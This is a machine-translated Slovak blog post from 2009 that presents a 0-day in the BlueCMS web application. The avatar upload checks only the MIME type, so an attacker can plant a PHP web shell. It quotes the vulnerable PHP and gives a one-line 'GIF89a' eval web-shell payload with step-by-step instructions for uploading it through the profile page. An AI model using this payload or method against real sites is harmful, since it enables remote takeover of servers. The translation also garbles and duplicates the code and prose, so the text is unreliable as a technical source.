bluecms 0den-0 dní, bluecms, bluecms 0 dní, php, upload, súbor hlavy st0p 's blog

bluecms 0 dni

Tento záznam bol zaslaný Október 07 2009

: St0p
Reprodukovať uveďte zdroj: http://www.st0p.org

Poznámka: Ospravedlňujeme sa, ale verzia ranné vlasov v noci volal duálny do novín 0day, informovaný a jednoducho ísť na oficiálnej pozrel, a vydala opravu zabezpečenia čoskoro ah .. môžete ísť on-line nie je aktualizovaná verzia testu ...

Bohužiaľ, skupina A môj kamarát robil CMS, povedal užívateľské dáta upraviť niektoré môžu byť aplikovaný, hovorí analýza, s lokálne nainštalované po, nie je možné použiť jednoduché úvodzovky sú unikol magic_quotes_gpc = off. . .

Pozri include / common.inc.php linku, vzdať. .

  ......
  ! get_magic_quotes_gpc ( ) ) if (! get_magic_quotes_gpc ())
  {
 	 deep_addslashes ( $_POST ) ; $ _POST = Deep_addslashes ($ _POST);
 	 deep_addslashes ( $_GET ) ; $ _GET = ($ _GET Deep_addslashes);
 	 deep_addslashes ( $_COOKIES ) ; Sk _COOKIES = Deep_addslashes ($ _COOKIES);
 	 deep_addslashes ( $_REQUEST ) ; Sk _REQUEST = ($ _REQUEST Deep_addslashes);
  }
 ......

Možno st0p šťastie, pozri nahrať fotografie častí, analýza kódu, použiť niečo nájsť v user.php. .

  BLUE_ROOT . 'include/upload.class.php' ) ; //调用上传类 require_once (BLUE_ROOT. "include / upload.class.php '); / / volanie triedy nahrávanie
     new upload ( ) ; $ Image = new upload ();
	  isset ( $_FILES [ 'face_pic' ] [ 'error' ] ) && $_FILES [ 'face_pic' ] [ 'error' ] == 0 ) { if (isset ($ _FILES ['face_pic'] ['error']) && $ _FILES ['face_pic'] ['error'] == 0) {
		 $image -> img_upload ( $_FILES [ 'face_pic' ] , 'face_pic' ) ; $ $ = Face_pic obrázok -> img_upload ($ _FILES ['face_pic'], 'face_pic'); 
                          / / Nezistila príponu priamo do, bude trieda schopní preniesť SHELL
	 }

Otvorte include / upload.class.php iba na detekciu hlavičku súboru nerozpozná príponu

  ......
 trieda nahrávanie {
	 = array ( 'image/jpg' , 'image/gif' , 'image/png' , 'image/pjpeg' ) ; private $ allow_image_type = array ("image / jpg ',' image / gif ',' image / png ',' image / pjpeg ');
 ......
     $file , $dir = '' , $imgname = '' ) { Funkcia img_upload ($ file, $ dir ='', $ imgname ='') {
    	 empty ( $dir ) ) { if (empty ($ dir)) {
    		 BLUE_ROOT . DATA . UPLOAD . date ( "Ym" ) . "/" ; Týždeň. $ Dir = BLUE_ROOT Nahrávanie dát Date ("YM") "/".;
    	 { Else {}
    		 BLUE_ROOT . DATA . UPLOAD . $dir . "/" ; Týždeň. $ Dir = BLUE_ROOT Nahrávanie dát $ dir "/."
    	 }

    	 ! file_exists ( $dir ) ) { if (! file_exists ($ dir)) {
    		 ! mkdir ( $dir ) ) { if (! mkdir ($ dir)) {
    			 ) ; showmsg (ďalej len "proces nahrávania Nepodarilo sa vytvoriť adresár ');
    		 }
    	 }
    	 empty ( $imgname ) ) { if (empty ($ imgname)) {
    		 $this -> create_tempname ( ) . $this -> get_type ( $file [ 'name' ] ) ; $ Imgname = $ this -> create_tempname () $ this -> get_type ($ file ['name']).;
    	 }
    	 $dir . $imgname ; $ Imgname = $ dir $ Imgname.;
    	 ! in_array ( $file [ 'type' ] , $this -> allow_image_type ) ) { if (in_array ($ file ['type'], $ this -> allow_image_type)) {
              / / Len pre detekciu súboru hlavičku dopredu, potom sme sa priamo postaviť ako SHELL
    		 ) ; showmsg ('neumožňuje typ obrázok');
    	 }


     }

Vyššie uvedené výnimkou st0p.php

2	GIF89a ( $_POST [ st0p ] ) ; ?> <PHP Eval ($ _POST [st0p]);?>

Poznámka Network účet, prihlásiť, člen -> môj profil, potom nahrať nový obrázok do volieb sme vybudovali PHP súboru, prejdite na potvrdenie zmení, po úspechu kliknite pravým tlačidlom myši na obrázok pre zobrazenie adresy na linke. . Slovo SHELL úspešne nahraný!

Analýza je dokončená, dúfam, že ďalšia výmena, problém tieto veci len chcete splniť niekoľko priateľov spoločne diskutovať o technológiu, nastaviť skupinu rovnako, len obyčajná skupina, len 100 ľudí, vyčistiť, nikdy sa hovorí bol ťažko naložené B chaos T, depresia, je otvorená skupina na výmenu a nehovorí sa symbol v mieste, chcú k pokroku, môže ísť stranou cesty!
Ak si do skupiny len preto, aby výsledky rokovaní iných, z iných, neviem zaplatiť, alebo sa len prísť potápanie, alebo bez neho. . .